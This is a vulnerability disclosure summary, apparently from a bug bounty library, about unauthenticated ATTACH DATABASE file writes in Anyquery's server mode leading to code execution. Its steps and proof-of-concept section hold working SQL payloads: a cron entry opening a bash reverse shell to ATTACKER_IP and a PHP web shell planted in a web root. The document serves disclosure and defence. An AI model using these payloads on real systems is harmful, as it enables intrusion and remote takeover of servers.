# Anyquery: Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) via Unrestricted ATTACH DATABASE in Server Mode

Unauthenticated MySQL-protocol clients on Anyquery server mode can ATTACH DATABASE to arbitrary paths, writing SQLite files that cron or PHP parse into RCE.

- Payout: Research
- Severity: critical
- Program: Anyquery
- Found by: Metincloup
- Disclosed: 2026-07-14
- CVE: CVE-2026-50006
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xrcf-6jh3-ggvx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xrcf-6jh3-ggvx
- Tags: area:devices domain:network domain:oss impact:dos impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go vuln:auth-bypass vuln:misconfiguration vuln:path-traversal vuln:rce

**Target:** Anyquery MySQL-compatible server port (anyquery server)
**Root cause:** Server mode proxies SQL to SQLite without disabling native disk commands like ATTACH DATABASE, which creates files at attacker-controlled paths; no authorization on the server port.
**Steps:**
1. Start victim: `anyquery server --host 0.0.0.0 --port 8070`
2. Connect: `mysql -u root -h <VICTIM_IP> -P 8070`
3. Run `ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;`
4. `CREATE TABLE pwn.task (cmd TEXT);`
5. `INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');`
6. Cron parses the valid line past the SQLite header and executes reverse shell within 60s
**How found:** Noticed server mode blindly proxies SQL to SQLite and that ATTACH DATABASE creates physical files at arbitrary paths, then tested writing to /tmp and sensitive system paths.
**Exploitation:** Unauthenticated network access to the MySQL port; attach a new SQLite DB at a sensitive path (cron.d, web root, authorized_keys), create a table and insert payload lines; cron/sshd/PHP tolerate the binary SQLite header and execute the embedded payload, yielding RCE as the Anyquery process user (root if elevated).
**Escalation:** Write to /etc/cron.d or /var/www/html for code execution; overwriting critical files also yields DoS.
**Insight:** When a service exposes a SQL engine over the network, check whether native file-touching statements (ATTACH DATABASE, load_extension, INTO OUTFILE) survive the proxy layer; SQLite's ATTACH creates files even for non-.db extensions, and cron/PHP ignore the binary header.

## Proof of concept (copied exactly from the original report)

**ATTACH DATABASE cronjob reverse shell payload**

```
ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;
   CREATE TABLE pwn.task (cmd TEXT);
   INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');
```

**ATTACH DATABASE PHP web shell payload**

```
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
   CREATE TABLE pwn.hacked (cmd TEXT);
   INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');
```

**Local /tmp verification ATTACH payload**

```
ATTACH DATABASE '/tmp/pwn.db' AS pwn;
   CREATE TABLE pwn.test (cmd TEXT);
   INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');
```